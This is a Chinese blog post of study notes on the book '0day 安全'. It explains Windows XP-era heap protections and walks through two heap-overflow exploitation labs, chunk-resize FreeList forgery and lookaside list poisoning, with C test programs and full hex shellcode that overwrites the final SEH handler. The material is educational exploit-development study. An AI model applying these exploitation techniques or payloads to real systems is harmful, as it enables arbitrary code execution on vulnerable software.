• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

《0day 安全》堆的新突破

05 Apr 2019

Reading time ~2 minutes

  • 堆的新保护
    • PEB random
    • Safe Unlink
    • heap cookie
    • 元数据加密
  • 突破
    • 攻击堆中存储的变量
    • 利用chunk重设大小攻击堆
      • 重设chunk的过程
      • 攻击过程
    • 利用Lookaside表(快表)进行堆溢出

堆的新保护

PEB random

微软在Windows XP SP2后不再使用固定的PEB基址0x7ffdf000,而是使用具有一定随机性的PEB基址。这种变动只是在0x7FFDF000-0x7FFD4000之间变浓的那个,所以变动其实很小。

Safe Unlink

微软改写了操作双向链表的代码。在进行链表拆卸操作的时候将提前验证堆块前向指针和后向指针的完整性,以防止发生DWORD SHOOT。

检验代码:

heap cookie

与栈中的security cookie类似,用于检测堆溢出的发生。Cookie被布置在堆首部分原堆块的segment table的位置,占1个字节大小

元数据加密

在Windows Vista及后续版本的操作系统中开始使用该安全措施。块首中的一些重要数据在保存时会与一个4字节的随机数进行异或运算,在使用这些数据时候需要再进行一次异或运算来还原,这样我们就不能直接破坏这些数据。

突破

攻击堆中存储的变量

堆中的各项保护措施是对堆块的关键结构进行保护,而对于堆中存储的内容时不保护的。

如果堆中存放着一些重要的数据或结构指针,如函数指针等内容,通过覆盖这些重要的内容还是可以实现溢出的。这种攻击手段和堆保护措施没有什么联系。

利用chunk重设大小攻击堆

Safe Unlink在于从FreeList[n]上拆卸chunk时对双向链表的有效性进行验证。但把一个chunk插入到FreeList[n]的时候是没有进行校验的。如果我们可以伪造一个chunk插入到FreeList[n]中就可以达到攻击。

链表发生插入的情况:

1.  内存释放后chunk不再被使用时它会被重新链入链表

2.  当chunk的内存空间大于申请的空间时,剩余的空间会被建立成一个新的chunk链入链表中。

所以我们就可以利用第二种情况。

我们通过演示代码来看看第二种情况的插入过程

重设chunk的过程

#include <stdio.h>

#include <windows.h>

void main()

{

	HLOCAL h1;

	HANDLE hp;

	hp = HeapCreate(0,0x1000,0x10000);

	__asm int 3

	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

}

在xp中运行,断在int 3的位置。

Eax存的是堆的起始位置

找到FreeList[0]的位置

(这是作者的图,把39换成3A即可)

接下来我们就来看新chunk插入链表的过程,主要的代码在下面这部分

Lea eax, dword ptr [edi+8] ;获取新chunk的Flink位置

Mov dword ptr [ebp-F0], eax

mov edx, dword ptr [ecx+4] ;获取下一chunk中Blink的值

mov dword ptr [ebp-F8], edx

mov dword ptr [eax], ecx ;保存新chunk的Flink

mov dword ptr [eax+4], edx ;保存新chunk的Blink

mov dword ptr [edx], eax ;保存下一chunk中Blink->Flink的Flink

mov dword ptr [ecx+4], eax ;保护下一chunk中的Blink

将这一过程归纳一下就是

(第一步)   新chunk->Flink=旧chunk->Flink

(第二步)   新chunk->Blink=旧chunk->Blink

(第三步)   旧chunk->Flink->Blink->Flink=新chunk

(第四步)   旧chunk->Flink->Blink=新chunk

这里最开始看的时候很懵逼,作者的图太绕了,所以这里详细的讲下。

我们先来到这个位置,这个时候eax和ecx的值就是FreeList[0]的位置。[edi+8]存的是新chunk的地址,也就是新chunk的Flink。

[ecx+4]存的是FreeList[0]的位置

将新chunk的Flink存入预定的内存中。

将新chunk的Blink存入预定的内存中。我们也可以看到前面的是Flink。

将新chunk的值回到FreeList[0]处存好,这样一来就完成了chunk的插入。

攻击过程

假设我们通过堆溢出把旧chunk的Flink指针覆盖为0xAAAAAAAA,旧chunk的Blink覆盖为0XBBBBBBBB,新chunk的地址假设为0x003A06A0;则前面的四部可以表示为 

[0x003A06A0]=0XAAAAAAAA;

[0x003A06A0+4]=0XBBBBBBBB;

[[0xAAAAAAAA+4]]= 0x003A06A0;

[0xAAAAAAAA+4]= 0x003A06A0;

这样我们就可以达到一个任意地址写入的目的,接下来我们只要把内存中的某个函数值或者S.E.H处理函数指针覆盖为shellcode的地址,就可以攻击。

书的作者给的代码是攻击S.E.H的最终处理函数,把它改成距离shellcode近的位置,然后通过跳转跳到shellcode。

代码:

#include <stdio.h>

#include <windows.h>

void main()

{

	char shellcode[]=;

	HLOCAL h1,h2;

	HANDLE hp;

	hp = HeapCreate(0,0x1000,0x10000);

	__asm int 3

	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

	memcpy(h1,shellcode,300);

	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

	int zero=0;

	zero=1/zero;

	printf("%d",zero);

}

实验环境:

断在了这里,我们先找到堆的起始位置,然后找到FreeList[0]的位置。

直接运行过第一个heapalloc和memcpy,可以看到现在堆的内容是这样的已经将我们的shellcode复制到了堆中

继续运行第二个heapalloc,并且在上面说讲过的插入的关键部位下断点观察

接下来就是把新的chunk位置先给了eax,然后我们把S.E.H的最终处理函数在栈中的位置放在如图堆上的位置,这样就可以存入到ecx里作为下一chunk中Blink的值。

接下来是两个保存新chunk的Flink和Blink

下一句就是任意地址写入最重要的一步了,我们通过重设堆的插入机制,将最终异常处理函数的内容改为了堆上我们指定的一个地址。

这样我们在运行到有异常的位置并且前面的S.E.H都无法处理时就会跳到最后的异常处理函数也就是堆上布置的位置。

最后的就是保护下一chunk中的Blink

所以上面的整个过程可以归纳成这样的:

[0x003A06B8]=0x003A06EB

[0X003A06B8+4]=0x0012FFE4

[0x0012FFE4]=0x003906B8

[0x003A06EB+4]=0x003A06B8

剩下的就是跳转到shellcode了我们在3A06B8处布置两个短跳转跳到shellcode去即可

但不知道为什么我这些都布置完了,但在div 0的时候出错运行不下去了,也就是说运行不到最终处理异常函数的位置。但整体的思路就是这样。这里我还有个疑问就是刚才小跳转的位置,如果往下移动在返回来就发现跳转的指令变了,不知道是不是因为这个原因导致shellcode无法执行

完整的shellcode:

char shellcode[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x10\x01\x10\x00\x99\x99\x99\x99"

"\xEB\x06\x3a\x00\xEB\x06\x3a\x00" //覆盖原始chunk中的Flink和Blink,也就是一个小跳转跳到下面的小跳转中

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xEB\x31\x90\x90\x90\x90\x90\x90" //小跳转跳到最后的shellcode的位置

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x11\x01\x10\x00\x99\x99\x99\x99"

"\x8C\x06\x3a\x00\xe4\xFF\x12\x00" //伪造的Flink和Blink

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

;

利用Lookaside表(快表)进行堆溢出

Safe Unlink只是对空表中的双向链表进行了验证,而没有对快表的单链表进行验证,所以我们可以通过攻击快表来实现堆溢出。

首先说明,此方法在实践环境中实行会非常困难,几乎不会遇到能使用这种方法的情况

它的条件是

1.  memcpy 赋值

2.  使用块表  有HeapAlloc 和 HeapFree后还有赋值等

3.  两次 赋值

代码:

#include <stdio.h>

#include <windows.h>

void main()

{

	char shellcode []=;

	HLOCAL h1,h2,h3;

	HANDLE hp;

	hp = HeapCreate(0,0,0);

	__asm int 3

	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

	HeapFree(hp,0,h3);

	HeapFree(hp,0,h2);

	memcpy(h1,shellcode,300);

	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

	memcpy(h3,"x90x1Ex3Ax00",4);

	int zero=0;

	zero=1/zero;

	printf("%d",zero);

}

我们在int 3断下,先看看快表的分配。前面还是和空表的一样。

三次申请完堆之后的内存。

我们再看看释放之后与空表不同的索引,在堆起始点偏移0x688的位置,这个也就是前面申请的h3的位置。

再释放h2,因为h2和h3的大小是一样的所以会链在h3的后面

接下来如果我们再申请空间,它的起始地址就会从刚刚释放的h2中取得。这时候如果我们把h2的块首位置覆盖为S.E.H链的某个指针,来看看效果。

可以看到现在我们已经把h2的块首覆盖为了最终异常处理函数。

我们再申请空间可以看到h3的块首已经变成了最终异常处理函数,如果我们再一次申请空间,那么拿到的地址就是最终异常处理函数的地址,我们再往里写想要的数据,再用除0异常就可以达到想要的目的。

3A1E90里面的EB 40就是个小跳转,可以帮助我们跳转到shellcode

这里还是和上一个实验一样在除0的地方卡住了,可能是操作系统的问题吧,作者用的是sp2,我这个是sp3。

完整的shellcode

char shellcode []=

"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//

"\x0300\x03\x00\x5C\x01\x08\x99" //快表结构填充,防止错误

"\xE4\xFF\x12\x00" //最终异常处理函数

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

;


Share Tweet +1